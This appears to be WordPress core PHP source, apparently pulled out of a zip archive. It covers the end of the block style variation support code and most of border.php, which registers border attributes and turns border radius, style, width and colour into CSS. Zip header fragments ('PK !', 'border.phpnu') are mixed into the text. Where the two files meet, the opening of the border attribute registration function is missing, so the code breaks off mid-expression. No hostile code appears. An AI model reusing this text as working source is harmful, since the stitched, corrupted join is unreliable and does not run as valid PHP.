WP_Block_Supports::get_instance()->register( 'block-style-variation', array() );
add_filter( 'render_block_data', 'wp_render_block_style_variation_support_styles', 10, 2 );
add_filter( 'render_block', 'wp_render_block_style_variation_class_name', 10, 2 );
add_action( 'wp_enqueue_scripts', 'wp_enqueue_block_style_variation_styles', 1 );
/**
* Registers block style variations read in from theme.json partials.
*
* @since 6.6.0
* @access private
*
* @param array $variations Shared block style variations.
*/
function wp_register_block_style_variations_from_theme_json_partials( $variations ) {
if ( empty( $variations ) ) {
return;
}
$registry = WP_Block_Styles_Registry::get_instance();
foreach ( $variations as $variation ) {
if ( empty( $variation['blockTypes'] ) || empty( $variation['styles'] ) ) {
continue;
}
$variation_name = $variation['slug'] ?? _wp_to_kebab_case( $variation['title'] );
$variation_label = $variation['title'] ?? $variation_name;
foreach ( $variation['blockTypes'] as $block_type ) {
$registered_styles = $registry->get_registered_styles_for_block( $block_type );
// Register block style variation if it hasn't already been registered.
if ( ! array_key_exists( $variation_name, $registered_styles ) ) {
register_block_style(
$block_type,
array(
'name' => $variation_name,
'label' => $variation_label,
)
);
}
}
}
}
PK ! @
border.phpnu [ attributes ) {
$block_type->attributes = array();
}
if ( block_has_support( $block_type, '__experimentalBorder' ) && ! array_key_exists( 'style', $block_type->attributes ) ) {
$block_type->attributes['style'] = array(
'type' => 'object',
);
}
if ( wp_has_border_feature_support( $block_type, 'color' ) && ! array_key_exists( 'borderColor', $block_type->attributes ) ) {
$block_type->attributes['borderColor'] = array(
'type' => 'string',
);
}
}
/**
* Adds CSS classes and inline styles for border styles to the incoming
* attributes array. This will be applied to the block markup in the front-end.
*
* @since 5.8.0
* @since 6.1.0 Implemented the style engine to generate CSS and classnames.
* @access private
*
* @param WP_Block_Type $block_type Block type.
* @param array $block_attributes Block attributes.
* @return array Border CSS classes and inline styles.
*/
function wp_apply_border_support( $block_type, $block_attributes ) {
if ( wp_should_skip_block_supports_serialization( $block_type, 'border' ) ) {
return array();
}
$border_block_styles = array();
$has_border_color_support = wp_has_border_feature_support( $block_type, 'color' );
$has_border_width_support = wp_has_border_feature_support( $block_type, 'width' );
// Border radius.
if (
wp_has_border_feature_support( $block_type, 'radius' ) &&
isset( $block_attributes['style']['border']['radius'] ) &&
! wp_should_skip_block_supports_serialization( $block_type, '__experimentalBorder', 'radius' )
) {
$border_radius = $block_attributes['style']['border']['radius'];
if ( is_numeric( $border_radius ) ) {
$border_radius .= 'px';
}
$border_block_styles['radius'] = $border_radius;
}
// Border style.
if (
wp_has_border_feature_support( $block_type, 'style' ) &&
isset( $block_attributes['style']['border']['style'] ) &&
! wp_should_skip_block_supports_serialization( $block_type, '__experimentalBorder', 'style' )
) {
$border_block_styles['style'] = $block_attributes['style']['border']['style'];
}
// Border width.
if (
$has_border_width_support &&
isset( $block_attributes['style']['border']['width'] ) &&
! wp_should_skip_block_supports_serialization( $block_type, '__experimentalBorder', 'width' )
) {
$border_width = $block_attributes['style']['border']['width'];
// This check handles original unitless implementation.
if ( is_numeric( $border_width ) ) {
$border_width .= 'px';
}
$border_block_styles['width'] = $border_width;
}
// Border color.
if (
$has_border_color_support &&
! wp_should_skip_block_supports_serialization( $block_type, '__experimentalBorder', 'color' )
) {
$preset_border_color = array_key_exists( 'borderColor', $block_attributes ) ? "var:preset|color|{$block_attributes['borderColor']}" : null;
$custom_border_color = isset( $block_attributes['style']['border']['color'] ) ? $block_attributes['style']['border']['color'] : null;
$border_block_styles['color'] = $preset_border_color ? $preset_border_color : $custom_border_color;
}
// Generates styles for individual border sides.
if ( $has_border_color_support || $has_border_width_support ) {
foreach ( array( 'top', 'right', 'bottom', 'left' ) as $side ) {
$border = isset( $block_attributes['style']['border'][ $side ] ) ? $block_attributes['style']['border'][ $side ] : null;
$border_side_values = array(
'width' => isset( $border['width'] ) && ! wp_should_skip_block_supports_serialization( $block_type, '__experimentalBorder', 'width' ) ? $border['width'] : null,
'color' => isset( $border['color'] ) && ! wp_should_skip_block_supports_serialization( $block_type, '__experimentalBorder', 'color' ) ? $border['color'] : null,
'style' => isset( $border['style'] ) && ! wp_should_skip_block_supports_serialization( $block_type, '__experimentalBorder', 'style' ) ? $border['style'] : null,
);
$border_block_styles[ $side ] = $border_side_values;
}
}
// Collect classes and styles.
$attributes = array();
$styles = wp_style_engine_get_styles( array( 'border' => $border_block_styles ) );
if ( ! empty( $styles['classnames'] ) ) {
$attributes['class'] = $styles['classnames'];
}
if ( ! empty( $styles['css'] ) ) {
$attributes['style'] = $styles['css'];
}
return $attributes;
}
/**
* Checks whether the current block type supports the border feature requested.
*
* If the `__experimentalBorder` support flag is a boolean `true` all border
* support features are available. Otherwise, the specific feature's support
* flag nested under `experimentalBorder` must be enabled for the feature
* to be opted into.
*
* @since 5.8.0
* @access private
*
* @param WP_Block_Type $block_type Block type to check for support.
* @param string $feature Name of the feature to check support for.
* @param mixed $default_value Fallback value for feature support, defaults to false.
* @return bool Whether the feature is supported.
*/
function wp_has_border_feature_support( $block_type, $feature, $default_value = false ) {
// Check if all border support features have been opted into via `"__experimentalBorder": true`.
if ( $block_type instanceof WP_Block_Type ) {
$block_type_supports_border = isset( $block_type->supports['__experimentalBorder'] )
? $block_type->supports['__experimentalBorder']
: $default_value;
if ( true === $block_type_supports_border ) {
return true;
}
}
// Check if the specific feature has been opted into individually
// via nested flag under `__experimentalBorder`.
return block_has_support( $block_type, array( '__experimentalBorder', $feature ), $default_value );
}
// Register the block support.
WP_Block_Supports::get_instance()->register(
'border',
array(
'register_attribute' => 'wp_register_border_support',
'apply' => 'wp_apply_border_support',
)
);
PK ! h